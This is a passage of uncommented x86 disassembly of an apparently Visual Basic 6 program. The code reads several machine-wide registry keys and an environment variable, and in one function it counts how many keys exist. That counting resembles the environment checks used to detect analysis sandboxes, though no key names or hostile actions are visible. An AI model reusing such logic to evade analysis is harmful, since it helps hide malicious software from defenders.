lea ecx, [ebp - 0x38]
push ecx
push 0x20019
mov eax, dword [edx]
push 0
push 0x403134
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x4032e4
call edi
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
lea ecx, [ebp - 0xb4]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00402c84
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea edx, [ebp - 0xb4]
lea eax, [ebp - 0xb0]
push edx
lea ecx, [ebp - 0xac]
push eax
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea edx, [ebp - 0xa8]
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x104], edx
lea ecx, [ebp - 0x88]
push eax
lea edx, [ebp - 0xac]
push ecx
push edx
mov dword [ebp - 0x10c], 0x4008
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarVal]
push eax
mov eax, dword [ebp - 0x38]
push eax
call fcn.00406220
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x30], eax
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.00402c10
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x30]
xor edx, edx
test eax, eax
mov eax, dword [ebp - 0xa0]
sete dl
push eax
push 0x4045f8
mov dword [ebp - 0x14], edx
call edi
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea ecx, [ebp - 0x58]
lea edx, [ebp - 0x10c]
push ecx
lea eax, [ebp - 0xcc]
push edx
push eax
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x10c], 0x8002
call dword [sym.imp.MSVBVM60.DLL___vbaVarCmpEq]
lea ecx, [ebp - 0xdc]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarNot]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaBoolVarNull]
test ax, ax
je 0x40c101
mov edx, dword [ebp - 0x34]
push edx
push 0x402e48
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x402e48
call edi
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
push eax
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcStrFromVar]
mov edx, eax
lea ecx, [ebp - 0xb4]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xb8]
call esi
push eax
push 0x404220
call edi
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xb4]
push ecx
lea eax, [ebp - 0xb0]
push edx
lea ecx, [ebp - 0xac]
push eax
push ecx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
cmp word [0x40f062], 0
je 0x40c188
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x104], 0x40f062
push edx
push 0x402e48
mov dword [ebp - 0x10c], 0x4002
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcStrFromVar]
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xb4]
call esi
push eax
push 0x404248
call edi
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea ecx, [ebp - 0xb4]
lea edx, [ebp - 0xb0]
push ecx
lea eax, [ebp - 0xac]
push edx
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
cmp word [0x40f05c], 0
je 0x40c20f
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x104], 0x40f05c
push ecx
push 0x402e48
mov dword [ebp - 0x10c], 0x4002
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
lea edx, [ebp - 0x10c]
push eax
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcStrFromVar]
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xb4]
call esi
push eax
push 0x404040
call edi
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea eax, [ebp - 0xb4]
lea ecx, [ebp - 0xb0]
push eax
lea edx, [ebp - 0xac]
push ecx
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
cmp word [0x40f060], 0
je 0x40c296
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x104], 0x40f060
push eax
push 0x402e48
mov dword [ebp - 0x10c], 0x4002
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
lea ecx, [ebp - 0x10c]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcStrFromVar]
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xb4]
call esi
push eax
push 0x404064
call edi
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea edx, [ebp - 0xb4]
lea eax, [ebp - 0xb0]
push edx
lea ecx, [ebp - 0xac]
push eax
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea edx, [ebp - 0x98]
lea eax, [ebp - 0x10c]
push edx
lea ecx, [ebp - 0xcc]
push eax
push ecx
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x10c], 0x8002
call dword [sym.imp.MSVBVM60.DLL___vbaVarCmpEq]
lea edx, [ebp - 0xdc]
push eax
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarNot]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaBoolVarNull]
test ax, ax
je 0x40c365
mov eax, dword [ebp - 0x34]
push eax
push 0x402e48
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x402e48
call edi
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
lea ecx, [ebp - 0x98]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcStrFromVar]
mov edx, eax
lea ecx, [ebp - 0xb4]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xb8]
call esi
push eax
push 0x404618
call edi
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea edx, [ebp - 0xb8]
lea eax, [ebp - 0xb4]
push edx
lea ecx, [ebp - 0xb0]
push eax
lea edx, [ebp - 0xac]
push ecx
push edx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
cmp word [0x40f068], 0
je 0x40c3ec
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x104], 0x40f068
push eax
push 0x402e48
mov dword [ebp - 0x10c], 0x4002
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
lea ecx, [ebp - 0x10c]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcStrFromVar]
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xb4]
call esi
push eax
push 0x404648
call edi
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea edx, [ebp - 0xb4]
lea eax, [ebp - 0xb0]
push edx
lea ecx, [ebp - 0xac]
push eax
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
cmp word [0x40f064], 0
je 0x40c473
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x104], 0x40f064
push edx
push 0x402e48
mov dword [ebp - 0x10c], 0x4002
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcStrFromVar]
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xb4]
call esi
push eax
push 0x404678
call edi
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea ecx, [ebp - 0xb4]
lea edx, [ebp - 0xb0]
push ecx
lea eax, [ebp - 0xac]
push edx
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
cmp word [0x40f066], 0
je 0x40c4fa
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x104], 0x40f066
push ecx
push 0x402e48
mov dword [ebp - 0x10c], 0x4002
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
lea edx, [ebp - 0x10c]
push eax
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcStrFromVar]
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xb4]
call esi
push eax
push 0x4046a4
call edi
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea eax, [ebp - 0xb4]
lea ecx, [ebp - 0xb0]
push eax
lea edx, [ebp - 0xac]
push ecx
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
cmp word [0x40f05e], 0
je 0x40c59e
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x104], 0x40f05e
push eax
push 0x402e48
mov dword [ebp - 0x10c], 0x4002
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x402e48
call edi
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
lea ecx, [ebp - 0x10c]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcStrFromVar]
mov edx, eax
lea ecx, [ebp - 0xb4]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xb8]
call esi
push eax
push 0x4046d4
call edi
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea edx, [ebp - 0xb8]
lea eax, [ebp - 0xb4]
push edx
lea ecx, [ebp - 0xb0]
push eax
lea edx, [ebp - 0xac]
push ecx
push edx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
cmp word [ebp - 0x14], 1
jne 0x40c92e
mov eax, dword [ebp - 0x34]
push eax
push 0x402e48
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x4047c8
call edi
mov dword [ebp - 0xc4], eax
mov eax, 8
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x10c], eax
lea edx, [ebp - 0x88]
push ecx
lea eax, [ebp - 0xdc]
push edx
push eax
mov dword [ebp - 0x104], 0x4047ec
call ebx
lea ecx, [ebp - 0x10c]
push eax
lea edx, [ebp - 0xec]
push ecx
push edx
call ebx
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea ecx, [ebp - 0xac]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea eax, [ebp - 0xec]
lea ecx, [ebp - 0xdc]
push eax
lea edx, [ebp - 0xcc]
push ecx
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x10
lea eax, [ebp - 0x12c]
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0xec]
push eax
push ecx
push edx
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x12c], 3
call dword [sym.imp.MSVBVM60.DLL___vbaVarAdd]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaI2Var]
mov dword [ebp - 0x140], eax
mov eax, 8
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x10c]
lea ecx, [ebp - 0x88]
push eax
lea edx, [ebp - 0xcc]
push ecx
push edx
mov dword [ebp - 0x104], 0x404820
mov dword [ebp - 0x114], 0x40483c
call ebx
push eax
lea eax, [ebp - 0x11c]
lea ecx, [ebp - 0xdc]
push eax
push ecx
call ebx
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
lea edx, [ebp - 0x140]
push edx
lea eax, [ebp - 0xac]
push 0
push eax
call fcn.004068f0
lea ecx, [ebp - 0xac]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0xec]
lea edx, [ebp - 0xdc]
push ecx
lea eax, [ebp - 0xcc]
push edx
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x10
lea ecx, [ebp - 0x11c]
lea edx, [ebp - 0x28]
lea eax, [ebp - 0xfc]
push ecx
push edx
push eax
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x11c], 3
call dword [sym.imp.MSVBVM60.DLL___vbaVarAdd]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaI2Var]
mov ecx, dword [ebp + 8]
push 0x404870
mov dword [ebp - 0x140], eax
mov edx, dword [ecx]
push edx
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x4032e4
call edi
mov dword [ebp - 0xc4], eax
mov eax, 8
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 0xcc]
lea ecx, [ebp - 0x88]
push eax
lea edx, [ebp - 0xdc]
push ecx
push edx
mov dword [ebp - 0x104], 0x4048d4
call ebx
push eax
lea eax, [ebp - 0x10c]
lea ecx, [ebp - 0xec]
push eax
push ecx
call ebx
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
lea edx, [ebp - 0x140]
lea eax, [ebp - 0xb0]
push edx
push 0
push eax
call fcn.004068f0
lea ecx, [ebp - 0xb0]
lea edx, [ebp - 0xac]
push ecx
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
lea eax, [ebp - 0xfc]
lea ecx, [ebp - 0xec]
push eax
lea edx, [ebp - 0xdc]
push ecx
lea eax, [ebp - 0xcc]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x20
lea ecx, [ebp - 0x11c]
lea edx, [ebp - 0x28]
lea eax, [ebp - 0xfc]
push ecx
push edx
push eax
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x11c], 3
call dword [sym.imp.MSVBVM60.DLL___vbaVarAdd]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaI2Var]
mov ecx, dword [ebp + 8]
push 0x4048f8
mov dword [ebp - 0x140], eax
mov edx, dword [ecx]
push edx
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x4032e4
call edi
mov dword [ebp - 0xc4], eax
mov eax, 8
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 0xcc]
lea ecx, [ebp - 0x88]
push eax
lea edx, [ebp - 0xdc]
push ecx
push edx
mov dword [ebp - 0x104], 0x404974
call ebx
push eax
lea eax, [ebp - 0x10c]
lea ecx, [ebp - 0xec]
push eax
push ecx
call ebx
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
lea edx, [ebp - 0x140]
lea eax, [ebp - 0xb0]
push edx
push 0
push eax
call fcn.004068f0
lea ecx, [ebp - 0xb0]
lea edx, [ebp - 0xac]
push ecx
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
lea eax, [ebp - 0xfc]
lea ecx, [ebp - 0xec]
push eax
lea edx, [ebp - 0xdc]
push ecx
lea eax, [ebp - 0xcc]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x20
jmp 0x40caa4
mov ecx, dword [ebp - 0x34]
push ecx
push 0x402e48
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x404998
call edi
mov dword [ebp - 0xc4], eax
mov eax, 8
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x10c], eax
lea edx, [ebp - 0xcc]
lea eax, [ebp - 0x88]
push edx
lea ecx, [ebp - 0xdc]
push eax
push ecx
mov dword [ebp - 0x104], 0x4049c4
call ebx
push eax
lea edx, [ebp - 0x10c]
lea eax, [ebp - 0xec]
push edx
push eax
call ebx
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x34]
call esi
lea ecx, [ebp - 0xac]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0xec]
lea edx, [ebp - 0xdc]
push ecx
lea eax, [ebp - 0xcc]
push edx
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x10
lea ecx, [ebp - 0x12c]
lea edx, [ebp - 0x28]
lea eax, [ebp - 0xec]
push ecx
push edx
push eax
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x12c], 3
call dword [sym.imp.MSVBVM60.DLL___vbaVarAdd]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaI2Var]
mov dword [ebp - 0x140], eax
mov eax, 8
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x11c], eax
lea edx, [ebp - 0x88]
push ecx
lea eax, [ebp - 0xcc]
push edx
push eax
mov dword [ebp - 0x104], 0x404998
mov dword [ebp - 0x114], 0x4049c4
call ebx
lea ecx, [ebp - 0x11c]
push eax
lea edx, [ebp - 0xdc]
push ecx
push edx
call ebx
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0xac]
push 0
push ecx
call fcn.004068f0
lea ecx, [ebp - 0xac]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xdc]
push edx
lea ecx, [ebp - 0xcc]
push eax
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x10
lea edx, [ebp - 0x38]
lea eax, [ebp - 0xac]
push edx
push 0x20019
push 0
push 0x404a10
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00402c84
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
call esi
lea ecx, [ebp - 0xac]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x10c]
push edx
lea ecx, [ebp - 0xa8]
push 0x404a7c
push eax
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x10c], 0x4008
call fcn.00406220
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.00402c10
call esi
mov edx, dword [ebp - 0xa8]
push edx
push 0x404a98
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
test eax, eax
je 0x40ccb7
mov eax, dword [0x40f078]
test eax, eax
jne 0x40cb4e
push 0x40f078
push 0x401d88
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov eax, dword [0x40f078]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x304]
lea edx, [ebp - 0xbc]
push eax
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaObjSet]
mov ecx, dword [ebp - 0x34]
mov esi, eax
push ecx
push esi
mov eax, dword [esi]
call dword [eax + 0xa4]
test eax, eax
fnclex
jge 0x40cb8c
push 0xa4
push 0x404b18
push esi
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
lea ecx, [ebp - 0xbc]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
mov eax, dword [0x40f078]
test eax, eax
jne 0x40cbb1
push 0x40f078
push 0x401d88
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
sub esp, 0x10
mov ecx, 0xa
mov ebx, esp
mov dword [ebp - 0x11c], ecx
mov eax, 0x80020004
sub esp, 0x10
mov dword [ebx], ecx
mov ecx, dword [ebp - 0x118]
mov dword [ebp - 0x114], eax
mov esi, dword [0x40f078]
mov dword [ebx + 4], ecx
mov dword [ebp - 0x10c], 3
mov ecx, esp
mov edx, 1
mov dword [ebx + 8], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x104], edx
mov edi, dword [esi]
mov dword [ebx + 0xc], eax
mov eax, dword [ebp - 0x10c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x108]
push esi
mov dword [ecx + 4], eax
mov dword [ecx + 8], edx
mov edx, dword [ebp - 0x100]
mov dword [ecx + 0xc], edx
call dword [edi + 0x2b0]
test eax, eax
fnclex
jge 0x40ccb7
push 0x2b0
push 0x404aa0
push esi
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
push 0x40cd82
jmp 0x40cd19
mov ecx, 0x10
call dword [sym.imp.MSVBVM60.DLL___vbaI2I4]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp + 8]
push 0x404384
mov ecx, dword [eax]
push ecx
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x403e40
call edi
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
lea edx, [ebp - 0x140]
lea eax, [ebp - 0xb0]
push edx
push 0xffffffffffffffff
push eax
call fcn.004068f0
lea ecx, [ebp - 0xb0]
lea edx, [ebp - 0xac]
push ecx
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
push 0x40cd82
jmp 0x40cd19
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x18]
call edi
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
lea ecx, [ebp - 0x28]
call esi
lea ecx, [ebp - 0x2c]
call edi
lea ecx, [ebp - 0x34]
call edi
lea ecx, [ebp - 0x48]
call esi
lea ecx, [ebp - 0x58]
call esi
lea ecx, [ebp - 0x68]
call esi
lea ecx, [ebp - 0x78]
call esi
lea ecx, [ebp - 0x88]
call esi
lea ecx, [ebp - 0x98]
call esi
lea ecx, [ebp - 0x9c]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
lea ecx, [ebp - 0xa0]
call edi
lea ecx, [ebp - 0xa4]
call edi
lea ecx, [ebp - 0xa8]
call edi
ret
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 8
push 0x401656
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x104
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x401608
xor ebx, ebx
lea eax, [ebp - 0x60]
push ebx
push 0x404b2c
push eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xd0], ebx
mov dword [ebp - 0x104], ebx
call dword [sym.imp.MSVBVM60.DLL_rtcCreateObject2]
lea ecx, [ebp - 0x60]
lea edx, [ebp - 0x44]
push ecx
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarSetVar]
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x402dec
lea ecx, [ebp - 0x18]
call edi
lea edx, [ebp - 0xc0]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0xb8], ebx
mov dword [ebp - 0xc0], 2
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
lea edx, [ebp - 0xc0]
lea ecx, [ebp - 0x60]
mov dword [ebp - 0xb8], 0x404b68
mov dword [ebp - 0xc0], 8
call dword [sym.imp.MSVBVM60.DLL___vbaVarDup]
lea eax, [ebp - 0x60]
lea ecx, [ebp - 0x70]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcEnvironVar]
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
lea edx, [ebp - 0x70]
push edx
call esi
mov edx, eax
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea eax, [ebp - 0x70]
lea ecx, [ebp - 0x60]
push eax
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
mov edx, dword [ebp - 0x30]
add esp, 0xc
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
test eax, eax
jne 0x40ced3
mov edx, 0x4047e0
lea ecx, [ebp - 0x30]
call edi
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0x60]
push eax
push ecx
call fcn.00406650
lea edx, [ebp - 0x60]
push edx
call esi
mov edx, eax
mov ecx, 0x40f03c
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x48]
push eax
push 0x20019
push ebx
push 0x404b78
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00402c84
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov dword [ebp - 0x108], eax
call esi
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
cmp dword [ebp - 0x108], ebx
jne 0x40cf7d
mov edx, 0x402d7c
lea ecx, [ebp - 0x18]
call edi
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x60]
push eax
push ecx
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0xc0], 2
call dword [sym.imp.MSVBVM60.DLL___vbaVarAdd]
mov edx, eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00402c10
call esi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x48]
push eax
push 0x20019
push ebx
push 0x404bd0
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00402c84
mov dword [ebp - 0x108], eax
call esi
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
cmp dword [ebp - 0x108], ebx
jne 0x40d003
mov edx, 0x402d70
lea ecx, [ebp - 0x18]
call edi
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x60]
push eax
push ecx
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0xc0], 2
call dword [sym.imp.MSVBVM60.DLL___vbaVarAdd]
mov edx, eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00402c10
call esi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x48]
push eax
push 0x20019
push ebx
push 0x404c28
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00402c84
mov dword [ebp - 0x108], eax
call esi
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
cmp dword [ebp - 0x108], ebx
jne 0x40d089
mov edx, 0x402d60
lea ecx, [ebp - 0x18]
call edi
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x60]
push eax
push ecx
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0xc0], 2
call dword [sym.imp.MSVBVM60.DLL___vbaVarAdd]
mov edx, eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00402c10
call esi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x48]
push eax
push 0x20019
push ebx
push 0x404c7c
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00402c84
mov dword [ebp - 0x108], eax
call esi
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
cmp dword [ebp - 0x108], ebx
jne 0x40d10f
mov edx, 0x402d68
lea ecx, [ebp - 0x18]
call edi
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x60]
push eax
push ecx
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0xc0], 2
call dword [sym.imp.MSVBVM60.DLL___vbaVarAdd]
mov edx, eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00402c10
call esi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x48]
push eax
push 0x20019
push ebx
push 0x404cd0
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00402c84
mov dword [ebp - 0x108], eax
call esi
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
cmp dword [ebp - 0x108], ebx
jne 0x40d195
mov edx, 0x402d58
lea ecx, [ebp - 0x18]
call edi
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0xc0]
push edx
lea ecx, [ebp - 0x60]
push eax
push ecx
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0xc0], 2
